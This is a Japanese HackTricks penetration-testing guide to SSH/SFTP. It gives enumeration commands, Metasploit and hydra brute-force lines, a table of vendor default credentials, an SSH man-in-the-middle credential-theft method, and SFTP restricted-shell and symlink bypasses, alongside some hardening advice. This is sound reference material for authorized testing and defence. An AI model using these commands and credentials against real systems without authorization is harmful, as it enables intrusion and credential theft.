hacktricks/network-services-pentesting/pentesting-ssh.md

25 KiB
Raw Blame History

22 - SSH/SFTPのペネトレーションテスト

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

ハッキングのキャリアに興味があり、ハッカブルではないものをハックしたい方 - 私たちは採用中です! (流暢なポーランド語の読み書きが必要です).

{% embed url="https://www.stmcyber.com/careers" %}

基本情報

SSHまたはSecure ShellまたはSecure Socket Shellは、ユーザーが保護されていないネットワークを介してコンピュータに安全にアクセスするためのネットワークプロトコルです。

デフォルトポート: 22

22/tcp open  ssh     syn-ack

SSHサーバー:

  • openSSH OpenBSD SSHはBSD、Linuxディストリビューション、およびWindows 10以降のWindowsに搭載されています
  • Dropbear メモリとプロセッサリソースが少ない環境向けのSSH実装で、OpenWrtに搭載されています
  • PuTTY Windows向けのSSH実装で、クライアントは一般的に使用されますが、サーバーの使用は珍しいです
  • CopSSH Windows向けのOpenSSHの実装です

SSHライブラリ (サーバー側の実装):

  • libssh SSHv2プロトコルを実装するマルチプラットフォームCライブラリで、PythonPerlRでのバインディングがあります。KDEのsftpやGitHubのgit SSHインフラストラクチャで使用されています
  • wolfSSH ANSI Cで書かれたSSHv2サーバーライブラリで、組み込み、RTOS、リソース制約のある環境を対象としています
  • Apache MINA SSHD Apache SSHD javaライブラリはApache MINAに基づいています
  • paramiko Python SSHv2プロトコルライブラリ

列挙

バナーグラビング

nc -vn <IP> 22

自動化されたssh-audit

ssh-auditはSSHサーバーとクライアントの設定監査ツールです。

https://github.com/jtesta/ssh-audithttps://github.com/arthepsy/ssh-audit/ からの更新されたフォークです。

特徴:

  • SSH1とSSH2プロトコルサーバーのサポート;
  • SSHクライアント設定の分析;
  • バナーの取得、デバイスまたはソフトウェアとオペレーティングシステムの認識、圧縮の検出;
  • 鍵交換、ホストキー、暗号化、メッセージ認証コードアルゴリズムの収集;
  • アルゴリズム情報の出力(利用可能な時期、削除/無効化、安全でない/弱い/レガシーなど);
  • アルゴリズムの推奨事項の出力(認識されたソフトウェアバージョンに基づいて追加または削除);
  • セキュリティ情報の出力関連する問題、割り当てられたCVEリストなど;
  • アルゴリズム情報に基づいたSSHバージョンの互換性分析;
  • OpenSSH、Dropbear SSH、libsshからの歴史情報;
  • LinuxとWindowsで実行;
  • 依存関係なし
usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

アクションを見る (Asciinema)

サーバーの公開SSHキー

ssh-keyscan -t rsa <IP> -p <PORT>

弱い暗号アルゴリズム

これはデフォルトでnmapによって発見されます。しかし、sslcansslyzeを使用することもできます。

Nmap スクリプト

nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

  • ssh

ブルートフォース攻撃:ユーザー名、パスワード、プライベートキー

ユーザー名列挙

OpenSSHの一部のバージョンでは、タイミング攻撃を利用してユーザーを列挙することができます。これを利用するためには、metasploitモジュールを使用できます

msf> use scanner/ssh/ssh_enumusers

ブルートフォース

一般的なsshクレデンシャルについてはこちらこちら、そして下記を参照してください。

プライベートキー ブルートフォース

もし使用可能なsshプライベートキーをいくつか知っている場合... 試してみましょう。nmapスクリプトを使用できます

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

またはMSF補助モジュール

msf> use scanner/ssh/ssh_identify_pubkeys
または、`ssh-keybrute.py`を使用しますネイティブpython3、軽量でレガシーアルゴリズムが有効[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)。

#### ここで悪名高い鍵を見つけることができます:

{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %}

#### 弱いSSH鍵 / Debian予測可能なPRNG

一部のシステムでは、暗号素材を生成するために使用されるランダムシードに既知の欠陥があります。これにより、キースペースが劇的に減少し、ブルートフォース攻撃が可能になる場合があります。弱いPRNGの影響を受けたDebianシステムで生成された鍵の事前生成セットはこちらで利用可能です[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。

被害者のマシンの有効な鍵を探すためにここを調べるべきです。

### Kerberos

**crackmapexec**は`ssh`プロトコルを使用して`--kerberos`オプションを使い**kerberos経由で認証**することができます。
詳細については`crackmapexec ssh --help`を実行してください。

## デフォルトの資格情報

| **ベンダー** | **ユーザー名**                                                                                               | **パスワード**                                                                                                                                                                                              |
| ---------- | ----------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC        | apc, device                                                                                                 | apc                                                                                                                                                                                                        |
| Brocade    | admin                                                                                                       | admin123, password, brocade, fibranne                                                                                                                                                                      |
| Cisco      | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin                                           | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change\_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix     | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin                                                            | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler                                                                                                                       |
| D-Link     | admin, user                                                                                                 | private, admin, user                                                                                                                                                                                       |
| Dell       | root, user1, admin, vkernel, cli                                                                            | calvin, 123456, password, vkernel, Stor@ge!, admin                                                                                                                                                         |
| EMC        | admin, root, sysadmin                                                                                       | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc                                                                                                                                              |
| HP/3Com    | admin, root, vcx, app, spvar, manage, hpsupport, opc\_op                                                    | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC\_op, !manage, !admin                                                   |
| Huawei     | admin, root                                                                                                 | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123                                                                                             |
| IBM        | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer                                                                                                                               |
| Juniper    | netscreen                                                                                                   | netscreen                                                                                                                                                                                                  |
| NetApp     | admin                                                                                                       | netapp123                                                                                                                                                                                                  |
| Oracle     | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user                                           | changeme, ilom-admin, ilom-operator, welcome1, oracle                                                                                                                                                      |
| VMware     | vi-admin, root, hqadmin, vmware, admin                                                                      | vmware, vmw@re, hqadmin, default                                                                                                                                                                           |

## SSH-MitM

被害者がSSHサーバーにユーザー名とパスワードを使用して接続しようとしているローカルネットワーク内にいる場合、以下の資格情報を盗むために**MitM攻撃を実行**することができます:

**攻撃パス:**

* ユーザートラフィックが攻撃者のマシンにリダイレクトされる
* 攻撃者はSSHサーバーへの接続試みを監視し、それらを自分のSSHサーバーにリダイレクトする
* 攻撃者のSSHサーバーは、第一に、ユーザーのパスワードを含むすべての入力データを記録するように設定され、第二に、ユーザーが接続したい正当なSSHサーバーにコマンドを送信して実行し、その結果を正当なユーザーに返す

[**SSH MITM**](https://github.com/jtesta/ssh-mitm)は上記のことを正確に行います。

実際のMitMをキャプチャするためには、ARPスプーフィング、DNSスプーフィング、または[**ネットワークスプーフィング攻撃**](../generic-methodologies-and-resources/pentesting-network/#spoofing)で説明されているような技術を使用できます。

## 設定の誤設定

### Rootログイン

デフォルトでは、ほとんどのSSHサーバー実装ではrootログインを許可しますが、このアカウントの資格情報が漏洩した場合、攻撃者は直接管理者権限を取得し、このアカウントに対するブルートフォース攻撃を行うことができるため、無効にすることをお勧めします。

**openSSHでrootログインを無効にする方法**

1. SSHサーバーの設定を編集する `sudoedit /etc/ssh/sshd_config`
2. `#PermitRootLogin yes`を`PermitRootLogin no`に変更する
3. 設定変更を考慮に入れる:`sudo systemctl daemon-reload`
4. SSHサーバーを再起動する `sudo systemctl restart sshd`

### SFTPブルートフォース

* [**SFTPブルートフォース**](../generic-methodologies-and-resources/brute-force.md#sftp)

### SFTPコマンド実行

SFTP設定でよく見られる一般的なSSHの誤設定は、管理者がユーザーにファイル共有のためのSFTPアクセスを提供したいが、マシン上でリモートシェルを取得することは望まないためです。したがって、彼らはユーザーを作成し、プレースホルダーシェル`/usr/bin/nologin`または`/usr/bin/false`)を割り当て、彼をジェイルにチュートすることでシェルアクセスやファイルシステム全体の悪用を避けられると考えます。しかし、彼らは間違っています。**ユーザーは、デフォルトのコマンドやシェルが実行される前に、認証直後にコマンドの実行を要求することができます**。したがって、シェルアクセスを拒否するプレースホルダーシェルを回避するには、(例:`/bin/bash`)を実行するコマンドを事前に要求するだけでよいのです。
```bash
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

以下は、ユーザー noraj のための安全なSFTP設定の例です (/etc/ssh/sshd_config openSSH)

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

この設定はSFTPのみを許可しますスタートコマンドを強制してシェルアクセスを無効にし、TTYアクセスを無効にするだけでなく、あらゆる種類のポートフォワーディングやトンネリングも無効にします。

SFTP トンネリング

SFTPサーバーにアクセスできる場合、例えば一般的なポートフォワーディングを使用して、トラフィックをこれを介してトンネルすることもできます

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

sftp には "symlink" コマンドがあります。したがって、あるフォルダに書き込み権限がある場合、他のフォルダ/ファイルシンボリックリンクを作成できます。おそらく chroot 内に閉じ込められているため、これは特に役に立たないかもしれませんが、no-chroot サービスから作成したシンボリックリンクアクセスできる場合(例えば、ウェブからシンボリックリンクにアクセスできる場合)、ウェブを通じてシンボリックリンクされたファイルを開くことができます。

例えば、新しいファイル "froot" から "/" へのシンボリックリンクを作成するには:

sftp> symlink / froot

ウェブ経由で "froot" ファイルにアクセスできる場合、システムのルートフォルダ ("/") をリストすることができます。

認証方法

高セキュリティ環境では、単純なパスワードベースの認証よりも、キーベースまたは二要素認証を有効にするのが一般的です。しかし、より強力な認証方法を有効にしても、より弱い方法を無効にしないことがよくあります。よくあるケースは、openSSHの設定で publickey を有効にし、デフォルトの方法として設定するが、password を無効にしないことです。そのため、SSHクライアントの詳細モードを使用すると、攻撃者はより弱い方法が有効であることを確認できます

ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

例えば、認証失敗の制限が設定されており、パスワード方式に到達する機会が一度もない場合、PreferredAuthentications オプションを使用してこの方式を強制的に使用することができます。

ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

SSHサーバーの設定を確認することは、予想されるメソッドのみが許可されていることを確認するために必要です。クライアントの詳細モードを使用すると、設定の有効性を確認するのに役立ちます。

設定ファイル

ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

ファジング

参考文献

ハッキングのキャリアに興味があり、ハック不可能なものをハックしたい方 - 採用情報! (流暢なポーランド語の読み書きが必要です).

{% embed url="https://www.stmcyber.com/careers" %}

HackTricks 自動コマンド

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥